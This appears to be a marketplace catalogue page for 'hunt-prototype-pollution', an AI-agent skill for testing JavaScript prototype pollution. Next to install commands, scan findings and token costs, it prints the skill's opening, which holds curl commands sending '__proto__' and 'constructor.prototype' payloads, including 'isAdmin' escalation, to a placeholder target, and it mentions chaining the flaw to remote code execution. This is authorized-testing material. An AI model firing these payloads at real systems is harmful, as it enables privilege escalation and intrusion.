Recon Skills is a pack of security-testing skills covering reconnaissance, web applications, APIs, authentication, vulnerability validation, cloud infrastructure, and reporting. Security professionals use it for authorized assessments of systems they own or have written permission to test. The catalogue entries are individual skills from the pack.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add uphiago/recon-skills --skill hunt-prototype-pollutiongit clone --depth 1 https://github.com/uphiago/recon-skillsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/uphiago/recon-skills/hunt-prototype-pollution)<a href="https://agentmods.dev/skills/uphiago/recon-skills/hunt-prototype-pollution"><img src="https://agentmods.dev/badge/skills/uphiago/recon-skills/hunt-prototype-pollution.svg" alt="Measured on agentmods" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 1 finding, up to medium
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- medium Data Exfiltration · line 33 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00027 | $0.01670 |
| Opus 5 | $0.00014 | $0.00835 |
| Sonnet 5 | $0.00005 | $0.00334 |
| Haiku 4.5 | $0.00003 | $0.00167 |
Grade A, and why
hunt-prototype-pollution scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 4d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
compatibility: Requires curl, python3 Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
Hunt for prototype pollution vulnerabilities where user-supplied properties merge into `Object.prototype`, affecting all objects in the runtime. Client-side pollution enables DOM XSS, cookie manipulation, and auth bypass How it starts
The opening of the file, as written. The whole thing — 158 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Prototype Pollution Hunting
Hunt for prototype pollution vulnerabilities where user-supplied properties merge into Object.prototype, affecting all objects in the runtime. Client-side pollution enables DOM XSS, cookie manipulation, and auth bypass. Server-side pollution chains to RCE via gadget chains in template engines (EJS, Pug, Handlebars) and CLI wrappers (child_process, NODE_OPTIONS).
When to Use
- Application uses JavaScript/Node.js with object merge, clone, or extend operations on user input.
- jQuery
$.extend(true, ...)or$.fn.merge()with deep copy on untrusted data. - Lodash
_.merge(),_.defaultsDeep(),_.set()receiving request body/query params. - Template engines (EJS, Pug, Handlebars) in the same runtime as user-controlled objects.
- Server-side Node.js with
child_process.exec/spawnaccessible via polluted options.
Quick Detection
# client-side: pollute via query param
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/page?__proto__[polluted]=true"
# server-side: pollute via JSON body
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/config" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"isAdmin":true}}'
Procedure
Phase 1 — Client-Side Pollution Vectors
# URL query string
https://target.com/?__proto__[test]=polluted
https://target.com/?constructor[prototype][test]=polluted
# JSON body in API
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/api/data" \
-H "Content-Type: application/json" \
-d '{"__proto__":{"polluted":"yes"}}'
# Form-encoded
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://target.com/form" \
-d '__proto__[polluted]=true'
# Via Object.assign / spread in request handlers
curl --max-time 30 --connect-timeout 10 -sk -X PATCH "https://target.com/api/settings" \
-H "Content-Type: application/json" \
-d '{"constructor":{"prototype":{"isAdmin":true}}}'
Phase 2 — Server-Side RCE via Gadget Chains
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 4d ago First seen · 158 lines · 27 tokens per session scan A 11059e43b711
hunt-prototype-pollution is a skill published in the GitHub repository uphiago/recon-skills (1,245 stars, last pushed 6d ago), licensed MIT. It adds 27 tokens to every session and 1,670 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
Other skills, from other repositories
javascript-prototype-pollution
Identify and exploit Prototype Pollution vulnerabilities in JavaScript applications to achieve client-side Cross-Site Scripting (XSS), bypass authentication, or execute Remote Code Execution (RCE) on Node.js servers by manipulating the core Object prototype.
prototype-pollution-rce
Identify and exploit Prototype Pollution vulnerabilities in JavaScript/Node.js applications. This skill covers the progression from polluting Object.prototype to identifying functional gadgets (like childprocess.spawn) to achieve Remote Code Execution (RCE).
javascript-prototype-pollution
Identify and exploit Prototype Pollution vulnerabilities in JavaScript applications to achieve client-side Cross-Site Scripting (XSS), bypass authentication, or execute Remote Code Execution (RCE) on Node.js servers by manipulating the core Object prototype.
securing-api-gateway-with-aws-waf
Securing API Gateway endpoints with AWS WAF by configuring managed rule groups for OWASP Top 10 protection, creating custom rate limiting rules, implementing bot control, setting up IP reputation filtering, and monitoring WAF metrics for security effectiveness.
implementing-runtime-application-self-protection
Deploy Runtime Application Self-Protection (RASP) agents to detect and block attacks from within application runtime, covering OpenRASP integration, attack pattern detection, and security policy configuration for Java and Python web applications.
dom-based-cross-site-scripting-xss
Identify and exploit DOM-based Cross-Site Scripting (XSS) vulnerabilities where malicious payloads are executed entirely within the victim's browser via insecure JavaScript execution, often bypassing server-side WAFs completely.